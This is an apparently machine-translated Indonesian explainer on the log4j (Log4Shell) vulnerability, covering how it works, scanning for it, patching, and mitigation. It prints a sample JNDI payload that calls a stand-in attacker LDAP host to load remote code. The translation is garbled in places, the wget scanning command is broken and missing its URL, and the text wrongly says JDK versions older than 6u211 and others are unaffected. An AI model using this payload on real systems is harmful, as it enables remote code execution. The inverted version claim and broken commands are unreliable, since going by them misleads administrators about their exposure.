Eksploitasi kritis di perpustakaan Java yang tersebar luas telah ditemukan, mengganggu sebagian besar internet karena admin server berebut untuk memperbaikinya. Bagian yang lemah, log4jdigunakan di mana-mana sebagai perpustakaan pendamping, jadi Anda harus memeriksa server Anda dan memastikan mereka diperbarui.
Bagaimana Eksploitasi Ini Bekerja?
Sejauh eksploitasi pergi, the log4j kerentanan sejauh ini adalah salah satu yang terburuk dalam beberapa tahun terakhir, mencetak skor 10/10 yang langka pada skala CVSS, dan itu akan menghantui seluruh internet selama bertahun-tahun yang akan datang.
Itu buruk log4j bukan aplikasi—ini adalah pustaka sumber terbuka yang digunakan oleh banyak aplikasi lain. Anda mungkin tidak menginstalnya secara langsung; itu mungkin termasuk yang lain .jar file, atau diinstal oleh aplikasi lain sebagai ketergantungan.
Pada dasarnya, ini memungkinkan penyerang mengirim teks ke aplikasi Anda, dan jika itu dicatat di suatu tempat (misalnya, mencatat string agen yang dikendalikan pengguna di server web), server Anda akan mengeksekusi kode berbahaya. Format teks terlihat seperti contoh berikut: string yang sangat sederhana yang berisi tautan ke alamat jarak jauh.
${jndi:ldap://attacker.com/a}
Bagian yang rentan dalam log4j adalah Antarmuka Penamaan dan Direktori Java, yang memungkinkan kerangka kerja logging untuk membuat permintaan jarak jauh. Kecuali itu juga membatalkan serialisasi file pada titik akhir itu, dan dapat memuat .class file yang berisi kode jarak jauh. Yang buruk.
Apakah saya rentan?
Eksploitasi itu ditambal dengan cepat log4jRilis terbaru, 2.16.0, tetapi tidak memperbaiki masalah—hanya tahu di mana Anda membutuhkannya. Sejak log4j adalah dependensi tertanam, mungkin tidak penting untuk mencari versi spesifiknya di sistem Anda. Dan, karena Java sangat populer, banyak alat dan komponen pihak ketiga dapat menggunakannya, jadi Anda mungkin tidak menggunakannya tahu jika Anda menjalankan perangkat lunak Java di mesin Anda.
Bahkan jika Anda tidak berpikir Anda rentan, Anda mungkin masih perlu memeriksa ulang. Eksploitasi ini memengaruhi begitu banyak sistem sehingga ada kemungkinan besar Anda dapat menjalankannya log4j atau Jawa tanpa disadari.
Untungnya, versi JDK lebih tua dari 6u211, 7u201, 8u191dan 11.0.1 tidak terpengaruh oleh vektor serangan utama (menggunakan LDAP) yang paling banyak dieksploitasi saat ini. Anda masih perlu menambalnya, karena itu juga dapat dengan mudah digunakan dengan vektor serangan lainnya. Juga, tindakan sederhana membuat permintaan ke titik akhir dapat mengungkapkan data tentang mesin di jaringan Anda, yang juga bukan hal yang baik.
Eksploitasi ini menyoroti mengapa penting untuk mempertahankan Software Bill of Materials (SBOM), pada dasarnya daftar semua perangkat lunak pada sistem Anda, dari mana asalnya, dan di mana ia diproduksi. Di masa depan, pengetahuan ini akan membantu Anda dengan cepat menambal serangan seperti ini.
Saat ini, Anda mungkin hanya khawatir jaringan Anda ditambal. Untuk melakukan itu, Anda harus memindai sistem Anda untuk menemukan log4j versi yang digunakan perangkat lunak Anda, dan buat daftar semua komponen yang rentan.
Cara Memindai Sistem Anda dan Memeriksa Versi log4j
Banyak orang telah membuat skrip untuk secara otomatis memindai sistem untuk instalasi yang rentan, seperti yang populer ini ditulis dengan Python, dan yang ini dari perusahaan keamanan LunaSec. Salah satu yang paling mudah digunakan adalah skrip bash sederhana ini, yang dapat memindai paket Anda dan mengidentifikasinya log4j versi, dan bahkan dapat memberi tahu Anda jika sistem Anda menggunakan Java sejak awal. Dalam kebanyakan kasus, Anda ingin menjalankan beberapa pemindaian dengan skrip yang berbeda, karena tidak ada jaminan bahwa salah satu dari skrip tersebut akan 100% efektif dalam mengidentifikasi setiap sistem yang rentan.
Anda dapat mengunduhnya dan menjalankannya dengan beberapa perintah. Itu perlu dijalankan sebagai root untuk memindai seluruh sistem Anda, jadi tentu saja, berhati-hatilah dengan skrip mana yang Anda jalankan dengan hak akses root dari internet. Ini juga merupakan eksekusi kode arbitrer.
wget -q chmod +x log4j_checker_beta.sh sudo ./log4j_checker_beta.sh
Hasil dari skrip ini menyoroti dengan tepat apa yang dilakukan ini log4j kerentanan yang mengerikan — menjalankannya di server pribadi saya mengungkapkan bahwa saya rentan terhadap eksploitasi, beberapa hari setelah zero-day, meskipun berpikir saya tidak menginstal Java di mesin ini karena saya tidak menjalankan perangkat lunak Java saya sendiri.
Elasticsearch berjalan di latar belakang pada mesin ini, yang ditulis dalam Java. Saya tidak perlu menginstal Java secara manual untuk menginstal Elasticsearch; itu termasuk versi OpenJDK yang dibundel. Termasuk disini log4j dalam instalasi ini dan rentan terhadap eksploitasi.
Perbaikannya, setidaknya untuk Elasticsearch, adalah memperbarui semua paket dan mengikuti panduan mitigasinya. Hal ini mungkin berlaku untuk perangkat lunak apa pun yang Anda jalankan; Anda perlu memperbarui log4j secara langsung, perbarui perangkat lunak yang memaketkannya, atau perbaiki dengan praktik terbaik mitigasi apa pun yang digunakan orang lain.
Jika Anda tidak dapat menambal toples karena alasan tertentu, Anda dapat menggunakan flag JVM ini untuk mengurangi masalah, yang hanya mengatakan log4j untuk tidak pernah melakukan penelusuran apa pun saat memformat pesan. Namun, itu tidak disarankan, dan Anda harus mencoba untuk mendapatkannya log4j 2.16.0 diinstal di mana saja Anda dapat memperbaiki masalah sepenuhnya.